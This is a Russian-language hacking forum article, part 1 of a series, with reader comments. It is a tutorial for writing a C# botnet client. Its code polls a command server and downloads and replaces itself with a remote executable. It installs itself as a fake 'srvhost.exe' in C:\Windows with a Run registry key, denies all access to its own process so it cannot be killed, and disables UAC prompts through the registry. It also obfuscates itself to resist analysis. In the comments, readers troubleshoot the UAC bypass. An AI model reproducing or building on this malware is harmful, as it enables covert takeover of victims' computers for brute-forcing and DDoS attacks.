Статья Создаем свой ботнет

Часть 1
Часть 2 находится тут

Добрый вечер господа. Сегодня я хотел бы поговорить не о взломе в чистом виде. Я думаю пришло время нам с Вами создать собственный БОТНЕТ. Эта тема, является не новой, но я бы хотел обратить внимание на то как именно начать создавать ботнет. Я уже являюсь ботоделом. И вот так выглядит, то что уже написано.

upload_2016-12-19_1-16-35.png


Ну что, пожалуй сразу к делу?

Ботнет будем строить на языке C# - так как этот лучший выбор для НЕБОЛЬШИХ Ботнетов (максимум 100к онлайн машин). Это связано с одним ограничением, что для работы бота у жертвы должен быт установлен .Net Framework – сегодня в эпоху Windows 10, это уже не является большой проблемой, однако знать об этом стоит.

Теперь же поговорим о главном, а именно о том, с чего начинают новички и как НЕ НАДО начинать. (По разрушаем некоторые мифы)

Миф 1: Крутой ботнет должен содержать много всяких плюшек (DDOS, лайки в вк, вызов калькулятора =)).

Опровергаем: Хороший ботнет это тот, который не падает и справляется со своей задачей. Поэтому, как и любой продукт сначала необходимо писать МИНИМАЛЬНО - НЕОБХОДИМЫЙ функционал, так как программиста очень тяжело остановить и ему хочется писать всё больше и больше кода. Это неправильно. Написать необходимо сначала каркас и возможность расширения функционала. Этим путем пойдем и мы. Ботнет должен работать сразу и писаться максимум за два – три дня.

Миф 2: Ботнет обязательно для DDOS – атак.

Опровергаем: Это тоже не верное суждение. Да, ботнеты обычно используются для DDOS атак и мы рассмотрим типы DDOS атак и даже напишем свои модули, но не это главное. Лично я использую ботнет для распределенного быстрого подбора хеш функций, брута сервисов и т.п. Так как согласитесь, на сколько бы быстрый не был бы Ваш процессор, 100 000 машин сбрутят быстрее чем 1 машина. И это лишь немногое, как его можно использовать

Миф 3: Написать ботнет – сложно и требует клоссальных знаний программирования и сетевых технологий.

Опровергаем: Отчасти это так, но на самом деле не нужно быть выдающимся программистом с великим стажем. Хватит понимания общих сетевых протоколов (такие HTTP), немного знаний криптографии (SSL), и уровень программирования хотя бы на понимание ООП.

Итак, что же такое ботнет? Это несколько машин, объединённых одним командным центром, для скрытой эксплуатации ресурсов выгодных владельцу ботнета.

Пожалуй, хватит разговоров, пора к делу:

Требования к сегодняшнему релизу:
1) Создать билд который по указанному пути будет брать команду для ботов
2) Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
3) ByPass Uac и AV
4) Запретить завершение процесса.
5) Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.
6) Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.

Понеслась….

Создаем новый консольный проект.

upload_2016-12-19_1-21-25.png


Далее меняем в настройках проекта на приложение для Windows (Лайвхак, чтобы создать пустое приложение без поддержки телеметрии).

upload_2016-12-19_1-21-43.png


А вот теперь переходим в вопросы архитектуры.

Создаем папку Services в которой будет хранится наша бизнес логика и при добавлении новых возможностей в эту папку будем добавлять папки с новыми сервисами и классами. Начнем с первого пункта ТЗ. Создаим сервис «FileManager», который будет читать команду по ссылке, а также интерфейс.

upload_2016-12-19_1-22-24.png


Далее код, для начала создадим заглушку на командном сервере (index.php).
PHP:
<?php
echo 'update';

Вспоминаем наше ТЗ
Создать билд, который по указанному пути будет брать команду для ботов
Для этого в наш сервис добавляем следующий код
Код:
public class FileManager : IFileManager
    {
        public string GetCommandByUrl(string url)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

  }
А в программу добавим
Код:
private static string _url = @"URL/index.php"; (тут наша заглушка пока)
     private const int interval = 10000; // 1000 seconds ~ 16 minutes
            while (true)
            {
                Thread.Sleep(interval);
                var command = _fileService.GetCommandByUrl(_url);

                if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }
          }
Профит:
upload_2016-12-19_1-24-57.png


Реализовать возможность копирования самого себя в автозагрузку и на этой стадии ограничимся копированием билда в другом каталог.
Создаем в FileManager новый метод
Код:
public void CopyFile(string fileName = "")
        {
            if (String.IsNullOrEmpty(fileName))
            {
                fileName = Assembly.GetExecutingAssembly().Location;
                return;
            }

            File.Copy(fileName, @"C:\Windows\srvhost.exe");
        }
void CopyFile(string fileName = @"C:\Windows\srvhost.exe");
Добавляем в Program.cs
Код:
   public static void Main(string[] args)
        {
            IFileManager _fileService = new FileManager();
            _fileService.CopyFile();
RegistryKey rkApp = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            rkApp.SetValue("MyApp", @"C:\Windows\srvhost.exe");
Запретить завершение процесса;
Здесь тоже всё достаточно просто новый сервис и добавляем в Program proc.block
Глянем в ProcessManager
Код:
  public class ProcessManager
    {
        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool GetKernelObjectSecurity(IntPtr Handle, int securityInformation, [Out] byte[] pSecurityDescriptor,
uint nLength, out uint lpnLengthNeeded);

        public static RawSecurityDescriptor GetProcessSecurityDescriptor(IntPtr processHandle)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] psd = new byte[0];
            uint bufSizeNeeded;
            // Call with 0 size to obtain the actual size needed in bufSizeNeeded
            GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, psd, 0, out bufSizeNeeded);
            if (bufSizeNeeded < 0 || bufSizeNeeded > short.MaxValue)
                throw new Win32Exception();
            // Allocate the required bytes and obtain the DACL
            if (!GetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION,
            psd = new byte[bufSizeNeeded], bufSizeNeeded, out bufSizeNeeded))
                throw new Win32Exception();
            // Use the RawSecurityDescriptor class from System.Security.AccessControl to parse the bytes:
            return new RawSecurityDescriptor(psd, 0);
        }

        [DllImport("advapi32.dll", SetLastError = true)]
        static extern bool SetKernelObjectSecurity(IntPtr Handle, int securityInformation, [In] byte[] pSecurityDescriptor);

        public static void SetProcessSecurityDescriptor(IntPtr processHandle, RawSecurityDescriptor dacl)
        {
            const int DACL_SECURITY_INFORMATION = 0x00000004;
            byte[] rawsd = new byte[dacl.BinaryLength];
            dacl.GetBinaryForm(rawsd, 0);
            if (!SetKernelObjectSecurity(processHandle, DACL_SECURITY_INFORMATION, rawsd))
                throw new Win32Exception();
        }

        [DllImport("kernel32.dll")]
        public static extern IntPtr GetCurrentProcess();

        [Flags]
        public enum ProcessAccessRights
        {
            PROCESS_CREATE_PROCESS = 0x0080, //  Required to create a process.
            PROCESS_CREATE_THREAD = 0x0002, //  Required to create a thread.
            PROCESS_DUP_HANDLE = 0x0040, // Required to duplicate a handle using DuplicateHandle.
            PROCESS_QUERY_INFORMATION = 0x0400, //  Required to retrieve certain information about a process, such as its token, exit code, and priority class (see OpenProcessToken, GetExitCodeProcess, GetPriorityClass, and IsProcessInJob).
            PROCESS_QUERY_LIMITED_INFORMATION = 0x1000, //  Required to retrieve certain information about a process (see QueryFullProcessImageName). A handle that has the PROCESS_QUERY_INFORMATION access right is automatically granted PROCESS_QUERY_LIMITED_INFORMATION. Windows Server 2003 and Windows XP/2000:  This access right is not supported.
            PROCESS_SET_INFORMATION = 0x0200, //    Required to set certain information about a process, such as its priority class (see SetPriorityClass).
            PROCESS_SET_QUOTA = 0x0100, //  Required to set memory limits using SetProcessWorkingSetSize.
            PROCESS_SUSPEND_RESUME = 0x0800, // Required to suspend or resume a process.
            PROCESS_TERMINATE = 0x0001, //  Required to terminate a process using TerminateProcess.
            PROCESS_VM_OPERATION = 0x0008, //   Required to perform an operation on the address space of a process (see VirtualProtectEx and WriteProcessMemory).
            PROCESS_VM_READ = 0x0010, //    Required to read memory in a process using ReadProcessMemory.
            PROCESS_VM_WRITE = 0x0020, //   Required to write to memory in a process using WriteProcessMemory.
            DELETE = 0x00010000, // Required to delete the object.
            READ_CONTROL = 0x00020000, //   Required to read information in the security descriptor for the object, not including the information in the SACL. To read or write the SACL, you must request the ACCESS_SYSTEM_SECURITY access right. For more information, see SACL Access Right.
            SYNCHRONIZE = 0x00100000, //    The right to use the object for synchronization. This enables a thread to wait until the object is in the signaled state.
            WRITE_DAC = 0x00040000, //  Required to modify the DACL in the security descriptor for the object.
            WRITE_OWNER = 0x00080000, //    Required to change the owner in the security descriptor for the object.
            STANDARD_RIGHTS_REQUIRED = 0x000f0000,
            PROCESS_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0xFFF),//    All possible access rights for a process object.
        }
        public void block()
        {
            // Get the current process handle
            IntPtr hProcess = GetCurrentProcess();
            // Read the DACL
            var dacl = GetProcessSecurityDescriptor(hProcess);
            // Insert the new ACE
            dacl.DiscretionaryAcl.InsertAce(
            0,
            new CommonAce(
            AceFlags.None,
            AceQualifier.AccessDenied,
            (int)ProcessAccessRights.PROCESS_ALL_ACCESS,
            new SecurityIdentifier(WellKnownSidType.WorldSid, null),
            false,
            null)
            );
            // Save the DACL
            SetProcessSecurityDescriptor(hProcess, dacl);
        }
    }
Теперь наш процесс сможет убить только опытный пользователь.

Профит: При нажатии на кнопку снять задачу получаем.

upload_2016-12-19_1-27-45.png


Для того чтобы забайпассить UAC нужно в реестре просто отключить его проверку.
Код:
var readWriteSubTree = Microsoft.Win32.RegistryKeyPermissionCheck.ReadWriteSubTree;
            Microsoft.Win32.RegistryKey key = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
                , readWriteSubTree);
            key.SetValue("ConsentPromptBehaviorAdmin", 0);
Байпассить AV на этом этапе пока не нужно, так как билд чистый, сигнатуры неизвестны, антивирусы не видят.

upload_2016-12-19_1-30-34.png


Скан здесь

Реализовать поддержку первый команды «Update» - команда которая просто будет обновлять наш текущий клиент, новой версией.

Код:
  if (command.Equals("update"))
                {
                    WebClient myWebClient = new WebClient();
                    myWebClient.DownloadFile(_url, "update.exe");
                    _fileService.RemoveFile();
                    _fileService.CopyFile("update.exe");
                }

Небольшую обфускацию исходников, чтобы нас не отреверсили так просто.
Качаем .Net Reactor и ставим Protect. В дальнейших статьях рассмотрим собственные обфускаторы с помощью рефлексии.

upload_2016-12-19_1-33-56.png


Сравним обфусцированный и необфусцированный билды

Видим как билд палится без проблем

upload_2016-12-19_1-34-10.png


Вспоминаем наш метод Main, который теперь вот так выглядит в dotPeek

upload_2016-12-19_1-34-40.png


Всем спасибо. На этом всё. Посмотрим, зайдет ли кодерская статья у публики, и решим продолжать эту тему или нет. Во всяком случае в статье собраны так же инетересные техники байпасса, немного рефлексии.

 
Ошибка не в том что не закоментировано... а пишет что пространство имен не может напрямую включать в себя такие члены как поля или методы.
и второй на строке while(true) требуется определение типа или пространства имен
using'и надо подключить
 
Я выложу рабочие сорцы во втором уроке. Поэтому, дабы тему не засорять немного погоди.
 
Весьма интересно, ни добавить ни убавить :)
Шикарная статья, бро.
 
  • Нравится
Реакции: BaJIepraH
Ребята продолжение обязательно будет. Серия статей пойдет в субботу
 
  • Нравится
Реакции: Grader
До субботы невтерпеж :D не подскажешь?) При попытке выполнить отключение UAC эксепшн кидает,
"An unhandled exception of type 'System.UnauthorizedAccessException' occurred in mscorlib.dll" Попытка выполнить несанкционированную операцию. Я так понимаю подразумевается что юзер будет выполнять то к чему будет прикручен бот из под админа?

попытался добавить в манифест
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
не помогло.
 
Последнее редактирование модератором:
До субботы невтерпеж :D не подскажешь?) При попытке выполнить отключение UAC эксепшн кидает,
"An unhandled exception of type 'System.UnauthorizedAccessException' occurred in mscorlib.dll" Попытка выполнить несанкционированную операцию. Я так понимаю подразумевается что юзер будет выполнять то к чему будет прикручен бот из под админа?

попытался добавить в манифест
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
не помогло.

Неа.Бот сам в реестре отключает UAC. А как ты делаешь отключение?
 
До субботы невтерпеж :D не подскажешь?) При попытке выполнить отключение UAC эксепшн кидает,
"An unhandled exception of type 'System.UnauthorizedAccessException' occurred in mscorlib.dll" Попытка выполнить несанкционированную операцию. Я так понимаю подразумевается что юзер будет выполнять то к чему будет прикручен бот из под админа?

попытался добавить в манифест
<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />
не помогло.
Возможно у пользователя, под которым ты запускаешь код, просто нет необходимых прав для снятия UAC.
 
В общем смотри. Пытался следующими путями. До добавления файла манифеста в принципе.
1) Метод копирования себя куда либо, эксепшн на моменте получения вообще нашего текущего местоположения :
var fileName = Assembly.GetExecutingAssembly().Location;
Ловит An unhandled exception of type 'System.Security.SecurityException' occurred in mscorlib.dll
2) Если до копирования попробовать (наглым образом скопипастил у тебя :)) :
var readWriteSubTree = RegistryKeyPermissionCheck.ReadWriteSubTree;
RegistryKey key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", true);
key.SetValue("ConsentPromptBehaviorAdmin", 0);

То тогда кидается "An unhandled exception of type 'System.UnauthorizedAccessException' occurred in mscorlib.dll" попытки повлиять путем добавления манифеста и вышенаписанной строки ничего не меняют.
 
Отбой Ишикава оказался прав :) Студия не из под админа запустил. А как это будет разрулено на стороне потенециально зараженного юзера? По дефолту подразумевается что он обладает правами админа?
 
Отбой Ишикава оказался прав :) Студия не из под админа запустил. А как это будет разрулено на стороне потенециально зараженного юзера? По дефолту подразумевается что он обладает правами админа?
Нужно добавить проверку на наличие админских прав у юзера и в зависимости от этого плясать, дописать try-catch. В корпоративной среде (например) прав админа у юзера нет и если попытаться сделать что-то "админское" без учета того что может вылететь Exception, программа аварийно завершится.
 
Нужно добавить проверку на наличие админских прав у юзера и в зависимости от этого плясать, дописать try-catch. В корпоративной среде (например) прав админа у юзера нет и если попытаться сделать что-то "админское" без учета того что может вылететь Exception, программа аварийно завершится.
Да, естественно, все это дело и так в трай кэтч обернуто :)
 
Программно чтобы не падало да. Но а так подразуменевается какая нибудь эскалация привелегий. Мой нормальный ботнет например через DLL инъекцией в winhosts прячется.
 
  • Нравится
Реакции: SoulPaladin
эта тема-мой новый дом,от ТС жду с нетерпением новую порцию пищи для мозга.
в частности про ddos,но еще больше интересны методы АВ байпассить дабы отважно воевать и ничего не бояться.
 
  • Нравится
Реакции: SooLFaa
эта тема-мой новый дом,от ТС жду с нетерпением новую порцию пищи для мозга.
в частности про ddos,но еще больше интересны методы АВ байпассить дабы отважно воевать и ничего не бояться.
Обязательно буду развивать топик. Спасибо.
 
нету((( Добавь ссуда ссылку на вторую часть, многие тут ждут продолжения
 
нету((( Добавь ссуда ссылку на вторую часть, многие тут ждут продолжения
ну или как один из вышепостивших ораторов предлагал дать напутствие по литературе в этом направлении-тоже весьма неплохой вариант
 
ну или как один из вышепостивших ораторов предлагал дать напутствие по литературе в этом направлении-тоже весьма неплохой вариант
Я честно говоря, не представляю как даже выглядит эта литература. Это разработка, что и как будет работать ограничено только фантазией и возможностями программиста.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!